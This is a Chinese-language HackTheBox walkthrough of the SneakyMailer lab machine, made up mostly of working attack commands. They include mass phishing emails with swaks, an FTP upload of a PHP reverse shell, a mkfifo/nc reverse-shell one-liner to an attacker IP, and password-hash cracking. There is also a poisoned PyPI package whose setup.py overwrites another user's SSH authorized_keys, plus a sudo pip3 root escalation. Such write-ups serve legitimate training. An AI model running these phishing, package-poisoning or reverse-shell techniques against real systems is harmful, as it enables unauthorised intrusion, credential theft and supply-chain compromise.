HackTheBox >_ SneakyMailer_197
SneakyMailer_197
这个很难
$ rustscan 10.10.10.197 -b 1000 -t 1500 -n
ftp:
用户邮箱,用户名。搜集爆破
cewl http://sneakycorp.htb/team.php -m 6 --lowercase -w wordlist.txt
爆破服务。 但是无果
参考靶机的名称,以及存在的服务,和这么多的email,我们或许可以对邮件服务下手
使用-a用来搜集表内的mete data,使用 -e 搜集email
cewl http://sneakycorp.htb/team.php -m 6 --lowercase -e -a -w wordlist_2.txt
将email单独存为email.txt
监听端口
首先测试邮箱联通,验证概念
邮箱服务是sneakymailer.htb 同样加入hosts
while read email;do swaks -to $email ;done < email.txt
都是可以发送的, 批量发送邮件
while read email; do swaks -to $email -from admin@sneakymailer.htb -header "Subject:whoami" -body "http://10.10.14.35:8080/" -server 10.10.10.197;done < email.txt
在监听端口得到信息
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
bp中直接decode
firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
所以邮箱的凭证应该是
paulbyrd@sneakymailer.htb
^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
thunderbird 登录
总是失败,不能加入邮箱
更换客户端,使用evolution
一组凭证
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
让low在pypi 服务安装测试并删除所有的python模块
凭证无法在ssh登录
但是可以在ftp使用
看目录是http服务的目录 支持php 上传个webshell测试
在kali工作目录准备一个webshell
$ cp /usr/share/davtest/backdoors/php_cmd.php .
put到ftp,之前已经用binary转为bin传输模式,不再修改直接put
put php_cmd.php
浏览器浏览失败
检查
被删除了。
尝试几次后发现,无论是否被删除,浏览器都无法定位到我们上传的文件。
这说名这可能是其他域名下的网站目录。参考文件夹是dev,可能是专门用来开发使用的子域名。
而按照网页上和邮件的显示,网站仍在开发中。也就是子域名仍然存在。 爆破子域名
wfuzz --sc=200 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.10.197 -H "HOST: FUZZ.sneakycorp.htb"
得到dev
加入hosts
dev.sneakycorp.htb
因为会被删除,我们写一句bash,用来快速连续执行
#!/bin/bash
ftp -v -n 10.10.10.197<<EOF
user developer m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
binary
cd /dev
put php-reverse-shell.php
close
bye
EOF
curl http://dev.sneakycorp.htb/php-reverse-shell.php
$ chmod +x ftp_put.sh
./ftp_put.sh
稍等即获得shell
python -c "import pty; pty.spawn(['/bin/bash']);"
看目录结构应该还有一个域名,同时参考邮件,这应该是下一步的线索 同样加入hosts查看 80没变化 查看8080
可以安装packages 点击here尝试查看包 需要凭证登录。
验证,应该是存在apache加密,在目录中查找 查看这个目录,但是我们同样没有权限进入packages
找到apache的加密文件.htpasswd 查看一下
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
写入本地文件,使用john破解
$ john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
soufianeelhaoui (pypi)
pypi:soufianeelhaoui
使用这组凭证登录
没有文件, 到这里卡住了,
继续枚举
5000有一个服务
理论上我们应该能将自己的packages存入目录,然后等low来安装,这样就可以获得low的权限,但是我们没有写权限
我们有两组凭证尝试一下切换用户
只能切换到developer 仍然不能写入packages
搜索了一下pypiserver 在文档中找到了线索
https://pypi.org/project/pypiserver/#upload-with-setuptools
发现是可以通过setuptools上传文件到指定位置的
错误的尝试
以下为错误部分,但值得思考
根据文档在本地构造
[distutils]
index-servers =
pypi
local
[pypi]
username:x
password:x
[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
payload.py
import setuptools
import os
os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.35 1339 >/tmp/f")
setuptools.setup(
name='payload',
version='1',
author='evil',
license='MIT'
)
mkdir /tmp/evilx
cd /tmp/evilx
按照文档.pypirc需要放在用户文件夹下
将PATH设置到这里
export HOME=/tmp/evilx
wget http://10.10.14.35:8080/.pypirc
wget http://10.10.14.35:8080/payload.py
python3 payload.py sdist register -r local upload -r local
进入python的虚拟环境,现在应该拥有python的全部已安装模块
chmod +x payload.py
python3 payload.py sdist register -r local upload -r local
在1339获得了shell 但是不是正确的用户,而仍然是developer的
ctrl c 取消掉。
应该是打包时直接执行 了payload中的命令,而不是先上传完。等待low执行。
显然执行shell这条路是不行的(后面发现这是做错了)
low用户是有ssh的。
查看一下
修改一下payload,执行low能执行的命令,即使报错也能往下执行安装 我们来尝试向low用户的文件夹写入我们自己的认证key,从而使我们能ssh登录,能写入则为为low直接执行写入,报错则向下进行,打包上传packages.
本地生成
ssh-ed25519
$ ssh-keygen -b 2048 -t ed25519 -f ./id_rsa -q
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICcbgJ5j4njB27KYDtnJJ4zvAPMo0bKtz+QfaZ1BRVwd user@k41i
注意给私钥600权限,稍后要使用登录
同时修改版本号和名称。防止重复 payload_4.py
import setuptools
try:
with open("/home/low/.ssh/authorized_keys", "a") as f:
f.write("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICcbgJ5j4njB27KYDtnJJ4zvAPMo0bKtz+QfaZ1BRVwd user@k41i")
f.close()
except Exception as e:
pass
setuptools.setup(
name='payload_4',
version='1.4',
author='evil',
license='MIT'
)
wget http://10.10.14.35:8080/payload_4.py
chmod +x payload_4.py
python3 payload_4.py sdist register -r local upload -r local
ls -la /var/www/pypi.sneakycorp.htb/
ls -la /var/www/pypi.sneakycorp.htb/packages
仍然不行
枚举发现端口5000正在运行,curl发现是同样的服务
cat /home/low/.ssh/authorized_keys
curl http://pypi.sneakycorp.htb:5000/packages
修改端口号为5000ip为靶机内部。重复之前的步骤
[distutils]
index-servers =
pypi
evilx
[pypi]
username:x
password:x
[evilx]
repository: http://127.0.0.1:5000
username: pypi
password: soufianeelhaoui
仍然不行,
正确的获得user
重新参照文档 重新规范步骤 最终成功
setup.py
import setuptools
try:
with open("/home/low/.ssh/authorized_keys", "a") as f:
f.seek(0)
f.truncate()
f.write("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICcbgJ5j4njB27KYDtnJJ4zvAPMo0bKtz+QfaZ1BRVwd user@k41i")
except Exception as e: pass
setuptools.setup(
name="evilx",
version="0.0.1",
packages=['evilx'],
description='evilx',
url='http://pypi.sneakycorp.htb/evilx',
author="evilx"
)
之前的问题是没有写url以及打包的名,同时脚本推key的时候是追加,实际使用中因为有其他玩家,会导致key追加在后面,而不是预期的替换整个内容。增加 f.seek(0)和f.truncate()两个函数,帮助文件定位到开头,并清空文件内容
.pypirc
[distutils]
index-servers =
pypi
evilx
[pypi]
username:x
password:x
[evilx]
repository: http://127.0.0.1:5000
username: pypi
password: soufianeelhaoui
注意端口是打的5000,没有再试试是否能对8080正常使用 上传到靶机, 注意目录结构
cd /tmp/evilx
touch README.md
wget http://10.10.14.35:8080/setup.py
wget http://10.10.14.35:8080/setup.cfg
在/tmp/evilx
再建立一个evilx文件夹,存入__init__.py
mkdir evilx
cd /tmp/evilx/evilx
wget http://10.10.14.35:8080/__init__.py
退回/tmp/evilx
,传输.pypirc
cd /tmp/evilx
wget http://10.10.14.35:8080/.pypirc
打包
python3 setup.py sdist
修改环境变量,并上传
export HOME=/tmp/evilx
python3 setup.py sdist upload -r evilx
这时只要查看key,看内容是否被推入即可
cat /home/low/.ssh/authorized_keys
一旦推入,ssh即可免密登录
root
得到user
sudo -l没有要求输入密码,并且可以免密使用pip3
直接gtfobins提权
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty)>$(tty) 2>$(tty)')" > $TF/setup.py
sudo /usr/bin/pip3 install $TF